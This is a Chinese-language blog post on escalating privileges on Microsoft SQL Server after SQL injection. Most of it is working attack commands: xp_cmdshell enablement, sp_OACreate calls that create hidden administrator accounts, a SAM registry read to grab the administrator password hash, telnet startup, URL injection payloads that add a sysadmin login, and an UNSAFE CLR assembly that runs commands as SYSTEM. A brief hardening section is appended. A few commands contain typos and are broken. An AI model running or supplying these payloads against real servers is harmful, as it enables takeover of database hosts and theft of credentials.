MsSql-提权

 · 2020-9-22 · 次阅读


首先是sql注入需要判断出数据库类型为sql server

sysobjects是mssql数据库特有的数据表,系统对象表,保存当前数据库的对象,

1.xp_cmdshell

存储过程:实质就是许多sql注入的集合,就是存储在sqlserver中预先定义好的sql语句集合

而在其中有个危险的存储过程,叫做xp_cmdshell.

为什么说它危险呢,因为它可以执行操作系统的任何指令。

如果可以获取sa的管理员权限,就可以使用sa的管理权限直接执行扩展存储过程中的xp_cmdshell。并获取返回值。

2.利用xp_cmdshell

EXEC master.dbo.xp_cmdshell ‘ipconfig’

开启版本:

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。

如果用户有管理员sa权限则可以用sp_configure重新启用它。

3.开启xp_cmdshell

exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

4.关闭xp_cmdshell

exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'xp_cmdshell',0;recongiure

5.另外的提权思路

先介绍一些可以操作注册表的存储过程:


xp_regaddmultistring

xp_regdeletekey //删除键

xp_regdeletevalue //删除值

xp_regenumkeys

xp_regenumvalues //返回多个值

xp_regread //读取键值

xp_regremovemultistring

xp_regwrite //写入键值 

控制服务的xp_servicecontrol等

开启telnet服务

execmaster..xp_servicecontrol 'start', 'tlntsvr'

OLE相关存储过程添加账户

sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop

使用注册账号存储过程提权思路:

1.添加账号test

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123 123 /add'

其中cmd.exe需要根据具体操作系统来确定

xp和2003系统:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123/add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123$ /add'

2.将123账号添加到administrators超级管理组

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run','null','c:\windows\system32\cmd.exe /c net localgroup administrators 123/add'

3.xp_regread&xp_regwrite克隆账号

获取administrator账号的加密密码

xp_regread 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F4','F'

安全防护

针对MSSQL sa弱口令入侵情况,最方便的防护手段:

1.对于MSSQL无需对外提供服务器使,请将此服务器端口关闭
2.对于必须对外提供MSSQL服务的主机,我们需要加强sa口令复杂度的设置,同时对于一般性的业务系统调用数据库情况,尽量不要使用sa这种高权限的数据库管理权限,改为使用普通账户调用。

Others

利用sp_addlogin添加sql用户,同样还要提升权限。

再用查询分析器连接sql server,再利用xp_cmdshell打开telnet服务。

最后登录。

往sql server里面添加用户(密码为空):

http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addlogin user;

如果要设置密码:

http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.password null,password,user;

提权:

http://1.1.1.1/news/default.asp?cataid=98986;use master dbo.sp_addsrvrolemember user,sysadmin;

下面是mssql无文件落地提权:

sp_configure 'clr enabled', 1

GO

RECONFIGURE

GO

ALTER DATABASE master SET TRUSTWORTHY ON;

IF (OBJECT_ID('sp_cmdExec') IS NOT NULL)

DROP PROCEDURE sp_cmdExec

GO

IF EXISTS(SELECT * FROM sys.assemblies asmb WHERE asmb.name = N'sp_cmdExec')

DROP ASSEMBLY [sp_cmdExec]

GO

CREATE ASSEMBLY sp_cmdExec

FROM 'C:\ProgramData\WarSQLKit.dll'

WITH PERMISSION_SET = UNSAFE

GO

CREATE PROCEDURE sp_cmdExec

@Command [nvarchar](4000)

WITH EXECUTE AS CALLER

AS

EXTERNAL NAME sp_cmdExec.StoredProcedures.CmdExec

GO



EXEC sp_cmdExec 'whoami';
EXEC sp_cmdExec '"net user admintony ad@1234/add" /RunSystemPriv';